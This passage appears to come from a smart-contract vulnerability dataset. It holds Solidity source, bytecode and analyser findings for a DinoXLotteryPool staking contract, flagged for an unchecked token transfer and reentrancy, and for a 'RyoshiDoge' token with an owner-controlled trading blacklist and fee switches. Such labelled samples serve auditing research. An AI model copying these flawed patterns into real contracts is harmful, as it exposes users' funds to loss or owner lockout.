*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath#add: OVERFLOW");
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO");
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DinoXLotteryPool is Ownable {
using SafeMath for uint256;
struct StakerInfo {
uint256 amount;
uint256 startStakeTime;
uint256[] amounts;
uint256[] times;
}
uint256 public maximumStakers; // points generated per LP token per second staked
uint256 public currentStakers;
uint256 public minimumStake;
uint256 public stakingFee;
IERC20 dnxcToken; // token being staked
address private _rewardDistributor;
mapping(address => StakerInfo) public stakerInfo;
uint256 internal fee;
bool paused;
constructor(uint256 _minimumStake, uint256 _stakingFee, IERC20 _dnxcToken)
{
minimumStake = _minimumStake;
stakingFee = _stakingFee;
paused = true;
dnxcToken = _dnxcToken;
_rewardDistributor = address(owner());
}
function changePause(bool _pause) onlyOwner public {
paused = _pause;
}
function changeDistributor(address _address) onlyOwner public {
_rewardDistributor = _address;
}
function changeStakingFees(uint256 _stakingFee) onlyOwner public {
stakingFee = _stakingFee;
}
function stake(uint256 _amount) public payable {
require (paused == false, "E09");
StakerInfo storage user = stakerInfo[msg.sender];
require (user.amount.add(_amount) >= minimumStake, "E01");
require (dnxcToken.transferFrom(msg.sender, address(this), _amount), "E02");
if(user.startStakeTime == 0) {
require (msg.value >= stakingFee, "E04");
user.startStakeTime = block.timestamp;
}
user.amount = user.amount.add(_amount);
user.amounts.push(user.amount);
user.times.push(block.timestamp);
}
function unstake(uint256 _amount) public {
StakerInfo storage user = stakerInfo[msg.sender];
require(user.amount > 0, "E06");
if (_amount > user.amount) {
_amount = user.amount;
}
dnxcToken.transfer(
msg.sender,
_amount
);
user.amount = user.amount.sub(_amount);
user.amounts.push(user.amount);
user.times.push(block.timestamp);
}
function getUsersAmounts(address _user) public view returns (uint256[] memory) {
StakerInfo storage user = stakerInfo[_user];
return user.amounts;
}
function getUsersTimes(address _user) public view returns (uint256[] memory) {
StakerInfo storage user = stakerInfo[_user];
return user.times;
}
function getTimestampOfStartedStaking(address _user) public view returns (uint256) {
StakerInfo storage user = stakerInfo[_user];
return user.startStakeTime;
}
function withdrawFees() onlyOwner external {
require(payable(msg.sender).send(address(this).balance));
}
}
|
0x6080604052600436106100fe5760003560e01c80638bbc9d1111610095578063b667c80611610064578063b667c80614610301578063eb954f0c1461032a578063ec5ffac214610367578063eff9884314610392578063f2fde38b146103bd576100fe565b80638bbc9d11146102525780638da5cb5b1461027d578063930ef76c146102a8578063a694fc3a146102e5576100fe565b80636d02c4fa116100d15780636d02c4fa146101aa578063715018a6146101e75780637df427a9146101fe578063802cd15f14610229576100fe565b80632e17de7814610103578063476343ee1461012c5780634e745f1f146101435780635d4fead314610181575b600080fd5b34801561010f57600080fd5b5061012a600480360381019061012591906110d7565b6103e6565b005b34801561013857600080fd5b506101416105b1565b005b34801561014f57600080fd5b5061016a6004803603810190610165919061105c565b61066d565b6040516101789291906114b6565b60405180910390f35b34801561018d57600080fd5b506101a860048036038101906101a39190611085565b610691565b005b3480156101b657600080fd5b506101d160048036038101906101cc919061105c565b61072a565b6040516101de9190611359565b60405180910390f35b3480156101f357600080fd5b506101fc6107ca565b005b34801561020a57600080fd5b50610213610852565b604051610220919061149b565b60405180910390f35b34801561023557600080fd5b50610250600480360381019061024b919061105c565b610858565b005b34801561025e57600080fd5b50610267610918565b604051610274919061149b565b60405180910390f35b34801561028957600080fd5b5061029261091e565b60405161029f91906112de565b60405180910390f35b3480156102b457600080fd5b506102cf60048036038101906102ca919061105c565b610947565b6040516102dc919061149b565b60405180910390f35b6102ff60048036038101906102fa91906110d7565b610998565b005b34801561030d57600080fd5b50610328600480360381019061032391906110d7565b610c55565b005b34801561033657600080fd5b50610351600480360381019061034c919061105c565b610cdb565b60405161035e9190611359565b60405180910390f35b34801561037357600080fd5b5061037c610d7b565b604051610389919061149b565b60405180910390f35b34801561039e57600080fd5b506103a7610d81565b6040516103b4919061149b565b60405180910390f35b3480156103c957600080fd5b506103e460048036038101906103df919061105c565b610d87565b005b6000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000816000015411610470576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610467906113bb565b60405180910390fd5b806000015482111561048457806000015491505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b81526004016104e1929190611330565b602060405180830381600087803b1580156104fb57600080fd5b505af115801561050f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061053391906110ae565b5061054b828260000154610e7f90919063ffffffff16565b81600001819055508060020181600001549080600181540180825580915050600190039060005260206000200160009091909190915055806003014290806001815401808255809150506001900390600052602060002001600090919091909150555050565b6105b9610ede565b73ffffffffffffffffffffffffffffffffffffffff166105d761091e565b73ffffffffffffffffffffffffffffffffffffffff161461062d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106249061145b565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505061066b57600080fd5b565b60076020528060005260406000206000915090508060000154908060010154905082565b610699610ede565b73ffffffffffffffffffffffffffffffffffffffff166106b761091e565b73ffffffffffffffffffffffffffffffffffffffff161461070d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107049061145b565b60405180910390fd5b80600960006101000a81548160ff02191690831515021790555050565b60606000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050806003018054806020026020016040519081016040528092919081815260200182805480156107bd57602002820191906000526020600020905b8154815260200190600101908083116107a9575b5050505050915050919050565b6107d2610ede565b73ffffffffffffffffffffffffffffffffffffffff166107f061091e565b73ffffffffffffffffffffffffffffffffffffffff1614610846576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083d9061145b565b60405180910390fd5b6108506000610ee6565b565b60025481565b610860610ede565b73ffffffffffffffffffffffffffffffffffffffff1661087e61091e565b73ffffffffffffffffffffffffffffffffffffffff16146108d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cb9061145b565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60015481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060010154915050919050565b60001515600960009054906101000a900460ff161515146109ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e59061139b565b60405180910390fd5b6000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600354610a4b838360000154610faa90919063ffffffff16565b1015610a8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a839061137b565b60405180910390fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401610aeb939291906112f9565b602060405180830381600087803b158015610b0557600080fd5b505af1158015610b19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3d91906110ae565b610b7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b739061141b565b60405180910390fd5b600081600101541415610bd857600454341015610bce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc59061143b565b60405180910390fd5b4281600101819055505b610bef828260000154610faa90919063ffffffff16565b81600001819055508060020181600001549080600181540180825580915050600190039060005260206000200160009091909190915055806003014290806001815401808255809150506001900390600052602060002001600090919091909150555050565b610c5d610ede565b73ffffffffffffffffffffffffffffffffffffffff16610c7b61091e565b73ffffffffffffffffffffffffffffffffffffffff1614610cd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc89061145b565b60405180910390fd5b8060048190555050565b60606000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905080600201805480602002602001604051908101604052809291908181526020018280548015610d6e57602002820191906000526020600020905b815481526020019060010190808311610d5a575b5050505050915050919050565b60035481565b60045481565b610d8f610ede565b73ffffffffffffffffffffffffffffffffffffffff16610dad61091e565b73ffffffffffffffffffffffffffffffffffffffff1614610e03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfa9061145b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6a906113db565b60405180910390fd5b610e7c81610ee6565b50565b600082821115610ec4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebb906113fb565b60405180910390fd5b60008284610ed2919061157f565b90508091505092915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000808284610fb99190611529565b905083811015610ffe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff59061147b565b60405180910390fd5b8091505092915050565b600081359050611017816117c1565b92915050565b60008135905061102c816117d8565b92915050565b600081519050611041816117d8565b92915050565b600081359050611056816117ef565b92915050565b60006020828403121561106e57600080fd5b600061107c84828501611008565b91505092915050565b60006020828403121561109757600080fd5b60006110a58482850161101d565b91505092915050565b6000602082840312156110c057600080fd5b60006110ce84828501611032565b91505092915050565b6000602082840312156110e957600080fd5b60006110f784828501611047565b91505092915050565b600061110c83836112c0565b60208301905092915050565b611121816115b3565b82525050565b6000611132826114ef565b61113c8185611507565b9350611147836114df565b8060005b8381101561117857815161115f8882611100565b975061116a836114fa565b92505060018101905061114b565b5085935050505092915050565b6000611192600383611518565b915061119d8261162a565b602082019050919050565b60006111b5600383611518565b91506111c082611653565b602082019050919050565b60006111d8600383611518565b91506111e38261167c565b602082019050919050565b60006111fb602683611518565b9150611206826116a5565b604082019050919050565b600061121e601783611518565b9150611229826116f4565b602082019050919050565b6000611241600383611518565b915061124c8261171d565b602082019050919050565b6000611264600383611518565b915061126f82611746565b602082019050919050565b6000611287602083611518565b91506112928261176f565b602082019050919050565b60006112aa601683611518565b91506112b582611798565b602082019050919050565b6112c9816115f1565b82525050565b6112d8816115f1565b82525050565b60006020820190506112f36000830184611118565b92915050565b600060608201905061130e6000830186611118565b61131b6020830185611118565b61132860408301846112cf565b949350505050565b60006040820190506113456000830185611118565b61135260208301846112cf565b9392505050565b600060208201905081810360008301526113738184611127565b905092915050565b6000602082019050818103600083015261139481611185565b9050919050565b600060208201905081810360008301526113b4816111a8565b9050919050565b600060208201905081810360008301526113d4816111cb565b9050919050565b600060208201905081810360008301526113f4816111ee565b9050919050565b6000602082019050818103600083015261141481611211565b9050919050565b6000602082019050818103600083015261143481611234565b9050919050565b6000602082019050818103600083015261145481611257565b9050919050565b600060208201905081810360008301526114748161127a565b9050919050565b600060208201905081810360008301526114948161129d565b9050919050565b60006020820190506114b060008301846112cf565b92915050565b60006040820190506114cb60008301856112cf565b6114d860208301846112cf565b9392505050565b6000819050602082019050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000611534826115f1565b915061153f836115f1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611574576115736115fb565b5b828201905092915050565b600061158a826115f1565b9150611595836115f1565b9250828210156115a8576115a76115fb565b5b828203905092915050565b60006115be826115d1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4530310000000000000000000000000000000000000000000000000000000000600082015250565b7f4530390000000000000000000000000000000000000000000000000000000000600082015250565b7f4530360000000000000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f536166654d617468237375623a20554e444552464c4f57000000000000000000600082015250565b7f4530320000000000000000000000000000000000000000000000000000000000600082015250565b7f4530340000000000000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f536166654d617468236164643a204f564552464c4f5700000000000000000000600082015250565b6117ca816115b3565b81146117d557600080fd5b50565b6117e1816115c5565b81146117ec57600080fd5b50565b6117f8816115f1565b811461180357600080fd5b5056fea26469706673582212208db851ec5adcb92c43d17132d14171dff839b6e044ea9e095867c89ae249a92264736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 5,719 |
0x5acbf087123d4b0a82547a2a8ec8affa624cbeeb
|
/**
*Submitted for verification at Etherscan.io on 2022-04-15
*/
// SPDX-License-Identifier: UNLICENSED
/**
Say greeting to Your Lord, $Rdoge. It will conquer the market once again.
Website: http://www.rdogeth.com/
Telegram : https://t.me/RDoge_eth
Twitter: https://twitter.com/RDoge_eth
Medium: https://medium.com/@RDoge
**/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract RDOGE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"RyoshiDoge";
string private constant _symbol = unicode"RDoge";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 5;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private _noTaxMode = false;
bool private inSwap = false;
uint256 private walletLimitDuration;
struct User {
uint256 buyCD;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_bots[from] && !_bots[to]);
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if (walletLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(5).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(5).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
tradingOpen = true;
walletLimitDuration = block.timestamp + (60 minutes);
}
function setMarketingWallet (address payable marketingWalletAddress) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[_marketingWalletAddress] = false;
_marketingWalletAddress = marketingWalletAddress;
_isExcludedFromFee[marketingWalletAddress] = true;
}
function excludeFromFee (address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = true;
}
function includeToFee (address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = false;
}
function setNoTaxMode(bool onoff) external {
require(_msgSender() == _FeeAddress);
_noTaxMode = onoff;
}
function setTeamFee(uint256 team) external {
require(_msgSender() == _FeeAddress);
require(team <= 7);
_teamFee = team;
}
function setTaxFee(uint256 tax) external {
require(_msgSender() == _FeeAddress);
require(tax <= 1);
_taxFee = tax;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_bots[bots_[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
_bots[notbot] = false;
}
function isBot(address ad) public view returns (bool) {
return _bots[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x60806040526004361061016a5760003560e01c806370a08231116100d1578063c3c8cd801161008a578063cf0848f711610064578063cf0848f714610447578063db92dbb614610467578063dd62ed3e1461047c578063e6ec64ec146104c257600080fd5b8063c3c8cd80146103fd578063c4081a4c14610412578063c9567bf91461043257600080fd5b806370a0823114610332578063715018a6146103525780638da5cb5b1461036757806395d89b411461038f578063a9059cbb146103bd578063b515566a146103dd57600080fd5b8063313ce56711610123578063313ce567146102685780633bbac57914610284578063437823ec146102bd5780634b740b16146102dd5780635d098b38146102fd5780636fc3eaec1461031d57600080fd5b806306fdde0314610176578063095ea7b3146101bb57806318160ddd146101eb57806323b872dd14610211578063273123b71461023157806327f3a72a1461025357600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5060408051808201909152600a81526952796f736869446f676560b01b60208201525b6040516101b291906119da565b60405180910390f35b3480156101c757600080fd5b506101db6101d6366004611a54565b6104e2565b60405190151581526020016101b2565b3480156101f757600080fd5b50683635c9adc5dea000005b6040519081526020016101b2565b34801561021d57600080fd5b506101db61022c366004611a80565b6104f9565b34801561023d57600080fd5b5061025161024c366004611ac1565b610562565b005b34801561025f57600080fd5b506102036105b6565b34801561027457600080fd5